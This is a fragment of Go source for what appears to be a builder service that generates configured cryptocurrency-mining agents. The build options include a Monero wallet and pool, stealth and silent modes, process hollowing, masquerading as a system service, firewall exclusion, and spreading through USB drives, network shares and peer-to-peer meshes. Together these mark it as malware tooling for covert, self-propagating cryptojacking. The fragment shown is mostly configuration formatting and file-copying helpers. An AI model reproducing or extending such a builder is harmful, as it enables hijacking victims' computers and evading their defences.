ShareSpread: %v,
BackupServerURLs: %s,
BackupPools: %s,
ServiceMasquerade: %v,
ServiceName: %q,
ServiceDonor: %q,
FleetSecret: %q,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
req.WorkerName,
req.ServerURL,
req.Wallet,
req.Threads,
req.ThreadMode,
req.ThreadPercent,
req.CPUPriority,
req.MiningMode,
req.DisplayMode,
req.SilentMode,
req.RunAs,
req.AutoStart,
req.ProcessName,
buildID,
time.Now().Unix(),
req.PoolHost,
req.PoolPort,
req.PoolTLS,
req.PoolPass,
req.MaxCPUUsagePct,
req.MaxMemoryPct,
req.MinFreeRAMMB,
req.IdleThresholdPct,
req.IdleDurationMinutes,
req.ScheduleStart,
req.ScheduleEnd,
req.InstallBase,
req.InstallCustomBase,
req.InstallRelativePath,
req.AdaptToHardware,
req.SelfHealing,
req.FileLogging,
req.StealthMode,
req.FirewallExclusion,
req.AIEnabled,
req.AIOllamaEndpoint,
req.AIModel,
req.ProcessHollowing,
req.MeshP2P,
req.AutoSpread,
req.HolePunch,
req.RemoteAggressive,
req.USBSpread,
req.ShareSpread,
formatGoStringSlice(req.BackupServerURLs),
formatGoBackupPools(req.BackupPools),
serviceMasqueradeEnabled(req),
serviceMasqueradeName(buildID, req),
serviceMasqueradeDonor(buildID, req),
h.fleetSecret,
)
}
// formatGoBackupPools emits a Go literal for []config.BackupPool.
func formatGoBackupPools(pools []BackupPool) string {
if len(pools) == 0 {
return "nil"
}
var sb strings.Builder
sb.WriteString("[]BackupPool{")
for i, p := range pools {
if i > 0 {
sb.WriteString(", ")
}
pass := p.Pass
if pass == "" {
pass = "x"
}
fmt.Fprintf(&sb, "{Host: %q, Port: %d, TLS: %v, Pass: %q}", p.Host, p.Port, p.TLS, pass)
}
sb.WriteString("}")
return sb.String()
}
func serviceMasqueradeEnabled(req *BuildRequest) bool {
return req.RunAs == "service" || req.ProcessHollowing
}
func serviceMasqueradeName(buildID string, req *BuildRequest) string {
if !serviceMasqueradeEnabled(req) {
return ""
}
name, _ := pickServiceMasquerade(buildID)
return name
}
func serviceMasqueradeDonor(buildID string, req *BuildRequest) string {
if !serviceMasqueradeEnabled(req) {
return ""
}
_, donor := pickServiceMasquerade(buildID)
return donor
}
func (h *Handler) copyAgentSource(destDir string) error {
srcDir := h.agentSrcDir
return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
relPath, err := filepath.Rel(srcDir, path)
if err != nil {
return err
}
if relPath == "config"+string(os.PathSeparator)+"builtin.go" {
return nil
}
destPath := filepath.Join(destDir, relPath)
if info.IsDir() {
return os.MkdirAll(destPath, 0755)
}
if info.Mode()&os.ModeSymlink != 0 {
return nil
}
ext := filepath.Ext(path)
base := filepath.Base(path)
if ext != ".go" && base != "go.mod" && base != "go.sum" {
return nil
}
return copyFile(path, destPath)
})
}
func copyFile(src, dest string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
if err := os.MkdirAll(filepath.Dir(dest), 0755); err != nil {
return err
}
out, err := os.Create(dest)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}
func looksLikeXMRWallet(addr string) bool {
a := strings.TrimSpace(addr)
if len(a) < 90 || len(a) > 106 {
return false
}
if a[0] != '4' {
return false
}
for i := 1; i < len(a); i++ {
c := a[i]
if (c >= '0' && c <= '9') || (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') {
continue
}
return false
}
return true
}
func formatGoStringSlice(values []string) string {
if len(values) == 0 {
return "nil"
}
parts := make([]string, 0, len(values))
for _, v := range values {
v = strings.TrimSpace(v)
if v != "" {
parts = append(parts, fmt.Sprintf("%q", v))
}
}
if len(parts) == 0 {
return "nil"
}
return "[]string{" + strings.Join(parts, ", ") + "}"
}
func sanitizeFileName(name string) string {
replacer := strings.NewReplacer(
" ", "-", "/", "-", "\\", "-", ":", "-",
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
)
return replacer.Replace(name)
}
// safePathUnderRoot resolves name under root and rejects traversal escapes.
func safePathUnderRoot(root, name string) (string, error) {
if name == "" || strings.Contains(name, "..") {
return "", fmt.Errorf("invalid path")
}
cleanName := filepath.Clean(name)
if filepath.IsAbs(cleanName) {
return "", fmt.Errorf("invalid path")
}
absRoot, err := filepath.Abs(root)
if err != nil {
return "", err
}
full := filepath.Join(absRoot, cleanName)
absFull, err := filepath.Abs(full)
if err != nil {
return "", err
}
if absFull != absRoot && !strings.HasPrefix(absFull, absRoot+string(os.PathSeparator)) {
return "", fmt.Errorf("path escapes root")
}
return absFull, nil
}
func writeJSON(w http.ResponseWriter, status int, v interface{}) {
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(status)
json.NewEncoder(w).Encode(v)
}